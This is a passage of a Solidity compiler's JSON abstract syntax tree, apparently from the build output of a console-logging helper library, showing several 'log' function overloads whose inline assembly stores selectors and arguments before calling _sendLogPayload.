isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"11434:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783434","id":33993,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"11440:4:22","typeDescriptions":{"typeIdentifier":"t_rational_68_by_1","typeString":"int_const 68"},"value":"0x44"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_68_by_1","typeString":"int_const 68"}],"id":33991,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"11418:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":33994,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"11418:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":33995,"nodeType":"ExpressionStatement","src":"11418:27:22"},{"AST":{"nativeSrc":"11464:98:22","nodeType":"YulBlock","src":"11464:98:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"11485:4:22","nodeType":"YulLiteral","src":"11485:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"11491:2:22","nodeType":"YulIdentifier","src":"11491:2:22"}],"functionName":{"name":"mstore","nativeSrc":"11478:6:22","nodeType":"YulIdentifier","src":"11478:6:22"},"nativeSrc":"11478:16:22","nodeType":"YulFunctionCall","src":"11478:16:22"},"nativeSrc":"11478:16:22","nodeType":"YulExpressionStatement","src":"11478:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"11514:4:22","nodeType":"YulLiteral","src":"11514:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"11520:2:22","nodeType":"YulIdentifier","src":"11520:2:22"}],"functionName":{"name":"mstore","nativeSrc":"11507:6:22","nodeType":"YulIdentifier","src":"11507:6:22"},"nativeSrc":"11507:16:22","nodeType":"YulFunctionCall","src":"11507:16:22"},"nativeSrc":"11507:16:22","nodeType":"YulExpressionStatement","src":"11507:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"11543:4:22","nodeType":"YulLiteral","src":"11543:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"11549:2:22","nodeType":"YulIdentifier","src":"11549:2:22"}],"functionName":{"name":"mstore","nativeSrc":"11536:6:22","nodeType":"YulIdentifier","src":"11536:6:22"},"nativeSrc":"11536:16:22","nodeType":"YulFunctionCall","src":"11536:16:22"},"nativeSrc":"11536:16:22","nodeType":"YulExpressionStatement","src":"11536:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":33982,"isOffset":false,"isSlot":false,"src":"11491:2:22","valueSize":1},{"declaration":33985,"isOffset":false,"isSlot":false,"src":"11520:2:22","valueSize":1},{"declaration":33988,"isOffset":false,"isSlot":false,"src":"11549:2:22","valueSize":1}],"id":33996,"nodeType":"InlineAssembly","src":"11455:107:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"11041:3:22","parameters":{"id":33979,"nodeType":"ParameterList","parameters":[{"constant":false,"id":33976,"mutability":"mutable","name":"p0","nameLocation":"11053:2:22","nodeType":"VariableDeclaration","scope":33998,"src":"11045:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":33975,"name":"uint256","nodeType":"ElementaryTypeName","src":"11045:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":33978,"mutability":"mutable","name":"p1","nameLocation":"11065:2:22","nodeType":"VariableDeclaration","scope":33998,"src":"11057:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":33977,"name":"address","nodeType":"ElementaryTypeName","src":"11057:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"11044:24:22"},"returnParameters":{"id":33980,"nodeType":"ParameterList","parameters":[],"src":"11083:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":34022,"nodeType":"FunctionDefinition","src":"11574:530:22","nodes":[],"body":{"id":34021,"nodeType":"Block","src":"11622:482:22","nodes":[],"statements":[{"assignments":[34006],"declarations":[{"constant":false,"id":34006,"mutability":"mutable","name":"m0","nameLocation":"11640:2:22","nodeType":"VariableDeclaration","scope":34021,"src":"11632:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34005,"name":"bytes32","nodeType":"ElementaryTypeName","src":"11632:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34007,"nodeType":"VariableDeclarationStatement","src":"11632:10:22"},{"assignments":[34009],"declarations":[{"constant":false,"id":34009,"mutability":"mutable","name":"m1","nameLocation":"11660:2:22","nodeType":"VariableDeclaration","scope":34021,"src":"11652:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34008,"name":"bytes32","nodeType":"ElementaryTypeName","src":"11652:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34010,"nodeType":"VariableDeclarationStatement","src":"11652:10:22"},{"assignments":[34012],"declarations":[{"constant":false,"id":34012,"mutability":"mutable","name":"m2","nameLocation":"11680:2:22","nodeType":"VariableDeclaration","scope":34021,"src":"11672:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34011,"name":"bytes32","nodeType":"ElementaryTypeName","src":"11672:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34013,"nodeType":"VariableDeclarationStatement","src":"11672:10:22"},{"AST":{"nativeSrc":"11701:244:22","nodeType":"YulBlock","src":"11701:244:22","statements":[{"nativeSrc":"11715:17:22","nodeType":"YulAssignment","src":"11715:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"11727:4:22","nodeType":"YulLiteral","src":"11727:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"11721:5:22","nodeType":"YulIdentifier","src":"11721:5:22"},"nativeSrc":"11721:11:22","nodeType":"YulFunctionCall","src":"11721:11:22"},"variableNames":[{"name":"m0","nativeSrc":"11715:2:22","nodeType":"YulIdentifier","src":"11715:2:22"}]},{"nativeSrc":"11745:17:22","nodeType":"YulAssignment","src":"11745:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"11757:4:22","nodeType":"YulLiteral","src":"11757:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"11751:5:22","nodeType":"YulIdentifier","src":"11751:5:22"},"nativeSrc":"11751:11:22","nodeType":"YulFunctionCall","src":"11751:11:22"},"variableNames":[{"name":"m1","nativeSrc":"11745:2:22","nodeType":"YulIdentifier","src":"11745:2:22"}]},{"nativeSrc":"11775:17:22","nodeType":"YulAssignment","src":"11775:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"11787:4:22","nodeType":"YulLiteral","src":"11787:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"11781:5:22","nodeType":"YulIdentifier","src":"11781:5:22"},"nativeSrc":"11781:11:22","nodeType":"YulFunctionCall","src":"11781:11:22"},"variableNames":[{"name":"m2","nativeSrc":"11775:2:22","nodeType":"YulIdentifier","src":"11775:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"11860:4:22","nodeType":"YulLiteral","src":"11860:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"11866:10:22","nodeType":"YulLiteral","src":"11866:10:22","type":"","value":"0x1c9d7eb3"}],"functionName":{"name":"mstore","nativeSrc":"11853:6:22","nodeType":"YulIdentifier","src":"11853:6:22"},"nativeSrc":"11853:24:22","nodeType":"YulFunctionCall","src":"11853:24:22"},"nativeSrc":"11853:24:22","nodeType":"YulExpressionStatement","src":"11853:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"11897:4:22","nodeType":"YulLiteral","src":"11897:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"11903:2:22","nodeType":"YulIdentifier","src":"11903:2:22"}],"functionName":{"name":"mstore","nativeSrc":"11890:6:22","nodeType":"YulIdentifier","src":"11890:6:22"},"nativeSrc":"11890:16:22","nodeType":"YulFunctionCall","src":"11890:16:22"},"nativeSrc":"11890:16:22","nodeType":"YulExpressionStatement","src":"11890:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"11926:4:22","nodeType":"YulLiteral","src":"11926:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"11932:2:22","nodeType":"YulIdentifier","src":"11932:2:22"}],"functionName":{"name":"mstore","nativeSrc":"11919:6:22","nodeType":"YulIdentifier","src":"11919:6:22"},"nativeSrc":"11919:16:22","nodeType":"YulFunctionCall","src":"11919:16:22"},"nativeSrc":"11919:16:22","nodeType":"YulExpressionStatement","src":"11919:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":34006,"isOffset":false,"isSlot":false,"src":"11715:2:22","valueSize":1},{"declaration":34009,"isOffset":false,"isSlot":false,"src":"11745:2:22","valueSize":1},{"declaration":34012,"isOffset":false,"isSlot":false,"src":"11775:2:22","valueSize":1},{"declaration":34000,"isOffset":false,"isSlot":false,"src":"11903:2:22","valueSize":1},{"declaration":34002,"isOffset":false,"isSlot":false,"src":"11932:2:22","valueSize":1}],"id":34014,"nodeType":"InlineAssembly","src":"11692:253:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":34016,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"11970:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783434","id":34017,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"11976:4:22","typeDescriptions":{"typeIdentifier":"t_rational_68_by_1","typeString":"int_const 68"},"value":"0x44"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_68_by_1","typeString":"int_const 68"}],"id":34015,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"11954:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":34018,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"11954:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":34019,"nodeType":"ExpressionStatement","src":"11954:27:22"},{"AST":{"nativeSrc":"12000:98:22","nodeType":"YulBlock","src":"12000:98:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"12021:4:22","nodeType":"YulLiteral","src":"12021:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"12027:2:22","nodeType":"YulIdentifier","src":"12027:2:22"}],"functionName":{"name":"mstore","nativeSrc":"12014:6:22","nodeType":"YulIdentifier","src":"12014:6:22"},"nativeSrc":"12014:16:22","nodeType":"YulFunctionCall","src":"12014:16:22"},"nativeSrc":"12014:16:22","nodeType":"YulExpressionStatement","src":"12014:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"12050:4:22","nodeType":"YulLiteral","src":"12050:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"12056:2:22","nodeType":"YulIdentifier","src":"12056:2:22"}],"functionName":{"name":"mstore","nativeSrc":"12043:6:22","nodeType":"YulIdentifier","src":"12043:6:22"},"nativeSrc":"12043:16:22","nodeType":"YulFunctionCall","src":"12043:16:22"},"nativeSrc":"12043:16:22","nodeType":"YulExpressionStatement","src":"12043:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"12079:4:22","nodeType":"YulLiteral","src":"12079:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"12085:2:22","nodeType":"YulIdentifier","src":"12085:2:22"}],"functionName":{"name":"mstore","nativeSrc":"12072:6:22","nodeType":"YulIdentifier","src":"12072:6:22"},"nativeSrc":"12072:16:22","nodeType":"YulFunctionCall","src":"12072:16:22"},"nativeSrc":"12072:16:22","nodeType":"YulExpressionStatement","src":"12072:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":34006,"isOffset":false,"isSlot":false,"src":"12027:2:22","valueSize":1},{"declaration":34009,"isOffset":false,"isSlot":false,"src":"12056:2:22","valueSize":1},{"declaration":34012,"isOffset":false,"isSlot":false,"src":"12085:2:22","valueSize":1}],"id":34020,"nodeType":"InlineAssembly","src":"11991:107:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"11583:3:22","parameters":{"id":34003,"nodeType":"ParameterList","parameters":[{"constant":false,"id":34000,"mutability":"mutable","name":"p0","nameLocation":"11595:2:22","nodeType":"VariableDeclaration","scope":34022,"src":"11587:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":33999,"name":"uint256","nodeType":"ElementaryTypeName","src":"11587:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":34002,"mutability":"mutable","name":"p1","nameLocation":"11604:2:22","nodeType":"VariableDeclaration","scope":34022,"src":"11599:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":34001,"name":"bool","nodeType":"ElementaryTypeName","src":"11599:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"11586:21:22"},"returnParameters":{"id":34004,"nodeType":"ParameterList","parameters":[],"src":"11622:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":34046,"nodeType":"FunctionDefinition","src":"12110:536:22","nodes":[],"body":{"id":34045,"nodeType":"Block","src":"12161:485:22","nodes":[],"statements":[{"assignments":[34030],"declarations":[{"constant":false,"id":34030,"mutability":"mutable","name":"m0","nameLocation":"12179:2:22","nodeType":"VariableDeclaration","scope":34045,"src":"12171:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34029,"name":"bytes32","nodeType":"ElementaryTypeName","src":"12171:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34031,"nodeType":"VariableDeclarationStatement","src":"12171:10:22"},{"assignments":[34033],"declarations":[{"constant":false,"id":34033,"mutability":"mutable","name":"m1","nameLocation":"12199:2:22","nodeType":"VariableDeclaration","scope":34045,"src":"12191:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34032,"name":"bytes32","nodeType":"ElementaryTypeName","src":"12191:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34034,"nodeType":"VariableDeclarationStatement","src":"12191:10:22"},{"assignments":[34036],"declarations":[{"constant":false,"id":34036,"mutability":"mutable","name":"m2","nameLocation":"12219:2:22","nodeType":"VariableDeclaration","scope":34045,"src":"12211:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34035,"name":"bytes32","nodeType":"ElementaryTypeName","src":"12211:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34037,"nodeType":"VariableDeclarationStatement","src":"12211:10:22"},{"AST":{"nativeSrc":"12240:247:22","nodeType":"YulBlock","src":"12240:247:22","statements":[{"nativeSrc":"12254:17:22","nodeType":"YulAssignment","src":"12254:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"12266:4:22","nodeType":"YulLiteral","src":"12266:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"12260:5:22","nodeType":"YulIdentifier","src":"12260:5:22"},"nativeSrc":"12260:11:22","nodeType":"YulFunctionCall","src":"12260:11:22"},"variableNames":[{"name":"m0","nativeSrc":"12254:2:22","nodeType":"YulIdentifier","src":"12254:2:22"}]},{"nativeSrc":"12284:17:22","nodeType":"YulAssignment","src":"12284:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"12296:4:22","nodeType":"YulLiteral","src":"12296:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"12290:5:22","nodeType":"YulIdentifier","src":"12290:5:22"},"nativeSrc":"12290:11:22","nodeType":"YulFunctionCall","src":"12290:11:22"},"variableNames":[{"name":"m1","nativeSrc":"12284:2:22","nodeType":"YulIdentifier","src":"12284:2:22"}]},{"nativeSrc":"12314:17:22","nodeType":"YulAssignment","src":"12314:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"12326:4:22","nodeType":"YulLiteral","src":"12326:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"12320:5:22","nodeType":"YulIdentifier","src":"12320:5:22"},"nativeSrc":"12320:11:22","nodeType":"YulFunctionCall","src":"12320:11:22"},"variableNames":[{"name":"m2","nativeSrc":"12314:2:22","nodeType":"YulIdentifier","src":"12314:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"12402:4:22","nodeType":"YulLiteral","src":"12402:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"12408:10:22","nodeType":"YulLiteral","src":"12408:10:22","type":"","value":"0xf666715a"}],"functionName":{"name":"mstore","nativeSrc":"12395:6:22","nodeType":"YulIdentifier","src":"12395:6:22"},"nativeSrc":"12395:24:22","nodeType":"YulFunctionCall","src":"12395:24:22"},"nativeSrc":"12395:24:22","nodeType":"YulExpressionStatement","src":"12395:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"12439:4:22","nodeType":"YulLiteral","src":"12439:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"12445:2:22","nodeType":"YulIdentifier","src":"12445:2:22"}],"functionName":{"name":"mstore","nativeSrc":"12432:6:22","nodeType":"YulIdentifier","src":"12432:6:22"},"nativeSrc":"12432:16:22","nodeType":"YulFunctionCall","src":"12432:16:22"},"nativeSrc":"12432:16:22","nodeType":"YulExpressionStatement","src":"12432:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"12468:4:22","nodeType":"YulLiteral","src":"12468:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"12474:2:22","nodeType":"YulIdentifier","src":"12474:2:22"}],"functionName":{"name":"mstore","nativeSrc":"12461:6:22","nodeType":"YulIdentifier","src":"12461:6:22"},"nativeSrc":"12461:16:22","nodeType":"YulFunctionCall","src":"12461:16:22"},"nativeSrc":"12461:16:22","nodeType":"YulExpressionStatement","src":"12461:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":34030,"isOffset":false,"isSlot":false,"src":"12254:2:22","valueSize":1},{"declaration":34033,"isOffset":false,"isSlot":false,"src":"12284:2:22","valueSize":1},{"declaration":34036,"isOffset":false,"isSlot":false,"src":"12314:2:22","valueSize":1},{"declaration":34024,"isOffset":false,"isSlot":false,"src":"12445:2:22","valueSize":1},{"declaration":34026,"isOffset":false,"isSlot":false,"src":"12474:2:22","valueSize":1}],"id":34038,"nodeType":"InlineAssembly","src":"12231:256:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":34040,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"12512:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783434","id":34041,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"12518:4:22","typeDescriptions":{"typeIdentifier":"t_rational_68_by_1","typeString":"int_const 68"},"value":"0x44"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_68_by_1","typeString":"int_const 68"}],"id":34039,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"12496:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":34042,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"12496:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":34043,"nodeType":"ExpressionStatement","src":"12496:27:22"},{"AST":{"nativeSrc":"12542:98:22","nodeType":"YulBlock","src":"12542:98:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"12563:4:22","nodeType":"YulLiteral","src":"12563:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"12569:2:22","nodeType":"YulIdentifier","src":"12569:2:22"}],"functionName":{"name":"mstore","nativeSrc":"12556:6:22","nodeType":"YulIdentifier","src":"12556:6:22"},"nativeSrc":"12556:16:22","nodeType":"YulFunctionCall","src":"12556:16:22"},"nativeSrc":"12556:16:22","nodeType":"YulExpressionStatement","src":"12556:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"12592:4:22","nodeType":"YulLiteral","src":"12592:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"12598:2:22","nodeType":"YulIdentifier","src":"12598:2:22"}],"functionName":{"name":"mstore","nativeSrc":"12585:6:22","nodeType":"YulIdentifier","src":"12585:6:22"},"nativeSrc":"12585:16:22","nodeType":"YulFunctionCall","src":"12585:16:22"},"nativeSrc":"12585:16:22","nodeType":"YulExpressionStatement","src":"12585:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"12621:4:22","nodeType":"YulLiteral","src":"12621:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"12627:2:22","nodeType":"YulIdentifier","src":"12627:2:22"}],"functionName":{"name":"mstore","nativeSrc":"12614:6:22","nodeType":"YulIdentifier","src":"12614:6:22"},"nativeSrc":"12614:16:22","nodeType":"YulFunctionCall","src":"12614:16:22"},"nativeSrc":"12614:16:22","nodeType":"YulExpressionStatement","src":"12614:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":34030,"isOffset":false,"isSlot":false,"src":"12569:2:22","valueSize":1},{"declaration":34033,"isOffset":false,"isSlot":false,"src":"12598:2:22","valueSize":1},{"declaration":34036,"isOffset":false,"isSlot":false,"src":"12627:2:22","valueSize":1}],"id":34044,"nodeType":"InlineAssembly","src":"12533:107:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"12119:3:22","parameters":{"id":34027,"nodeType":"ParameterList","parameters":[{"constant":false,"id":34024,"mutability":"mutable","name":"p0","nameLocation":"12131:2:22","nodeType":"VariableDeclaration","scope":34046,"src":"12123:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":34023,"name":"uint256","nodeType":"ElementaryTypeName","src":"12123:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":34026,"mutability":"mutable","name":"p1","nameLocation":"12143:2:22","nodeType":"VariableDeclaration","scope":34046,"src":"12135:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":34025,"name":"uint256","nodeType":"ElementaryTypeName","src":"12135:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"12122:24:22"},"returnParameters":{"id":34028,"nodeType":"ParameterList","parameters":[],"src":"12161:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":34076,"nodeType":"FunctionDefinition","src":"12652:1084:22","nodes":[],"body":{"id":34075,"nodeType":"Block","src":"12703:1033:22","nodes":[],"statements":[{"assignments":[34054],"declarations":[{"constant":false,"id":34054,"mutability":"mutable","name":"m0","nameLocation":"12721:2:22","nodeType":"VariableDeclaration","scope":34075,"src":"12713:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34053,"name":"bytes32","nodeType":"ElementaryTypeName","src":"12713:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34055,"nodeType":"VariableDeclarationStatement","src":"12713:10:22"},{"assignments":[34057],"declarations":[{"constant":false,"id":34057,"mutability":"mutable","name":"m1","nameLocation":"12741:2:22","nodeType":"VariableDeclaration","scope":34075,"src":"12733:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34056,"name":"bytes32","nodeType":"ElementaryTypeName","src":"12733:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34058,"nodeType":"VariableDeclarationStatement","src":"12733:10:22"},{"assignments":[34060],"declarations":[{"constant":false,"id":34060,"mutability":"mutable","name":"m2","nameLocation":"12761:2:22","nodeType":"VariableDeclaration","scope":34075,"src":"12753:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34059,"name":"bytes32","nodeType":"ElementaryTypeName","src":"12753:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34061,"nodeType":"VariableDeclarationStatement","src":"12753:10:22"},{"assignments":[34063],"declarations":[{"constant":false,"id":34063,"mutability":"mutable","name":"m3","nameLocation":"12781:2:22","nodeType":"VariableDeclaration","scope":34075,"src":"12773:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34062,"name":"bytes32","nodeType":"ElementaryTypeName","src":"12773:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34064,"nodeType":"VariableDeclarationStatement","src":"12773:10:22"},{"assignments":[34066],"declarations":[{"constant":false,"id":34066,"mutability":"mutable","name":"m4","nameLocation":"12801:2:22","nodeType":"VariableDeclaration","scope":34075,"src":"12793:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34065,"name":"bytes32","nodeType":"ElementaryTypeName","src":"12793:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34067,"nodeType":"VariableDeclarationStatement","src":"12793:10:22"},{"AST":{"nativeSrc":"12822:697:22","nodeType":"YulBlock","src":"12822:697:22","statements":[{"body":{"nativeSrc":"12865:313:22","nodeType":"YulBlock","src":"12865:313:22","statements":[{"nativeSrc":"12883:15:22","nodeType":"YulVariableDeclaration","src":"12883:15:22","value":{"kind":"number","nativeSrc":"12897:1:22","nodeType":"YulLiteral","src":"12897:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"12887:6:22","nodeType":"YulTypedName","src":"12887:6:22","type":""}]},{"body":{"nativeSrc":"12968:40:22","nodeType":"YulBlock","src":"12968:40:22","statements":[{"body":{"nativeSrc":"12997:9:22","nodeType":"YulBlock","src":"12997:9:22","statements":[{"nativeSrc":"12999:5:22","nodeType":"YulBreak","src":"12999:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"12985:6:22","nodeType":"YulIdentifier","src":"12985:6:22"},{"name":"w","nativeSrc":"12993:1:22","nodeType":"YulIdentifier","src":"12993:1:22"}],"functionName":{"name":"byte","nativeSrc":"12980:4:22","nodeType":"YulIdentifier","src":"12980:4:22"},"nativeSrc":"12980:15:22","nodeType":"YulFunctionCall","src":"12980:15:22"}],"functionName":{"name":"iszero","nativeSrc":"12973:6:22","nodeType":"YulIdentifier","src":"12973:6:22"},"nativeSrc":"12973:23:22","nodeType":"YulFunctionCall","src":"12973:23:22"},"nativeSrc":"12970:36:22","nodeType":"YulIf","src":"12970:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"12925:6:22","nodeType":"YulIdentifier","src":"12925:6:22"},{"kind":"number","nativeSrc":"12933:4:22","nodeType":"YulLiteral","src":"12933:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"12922:2:22","nodeType":"YulIdentifier","src":"12922:2:22"},"nativeSrc":"12922:16:22","nodeType":"YulFunctionCall","src":"12922:16:22"},"nativeSrc":"12915:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"12939:28:22","nodeType":"YulBlock","src":"12939:28:22","statements":[{"nativeSrc":"12941:24:22","nodeType":"YulAssignment","src":"12941:24:22","value":{"arguments":[{"name":"length","nativeSrc":"12955:6:22","nodeType":"YulIdentifier","src":"12955:6:22"},{"kind":"number","nativeSrc":"12963:1:22","nodeType":"YulLiteral","src":"12963:1:22","type":"","value":"1"}]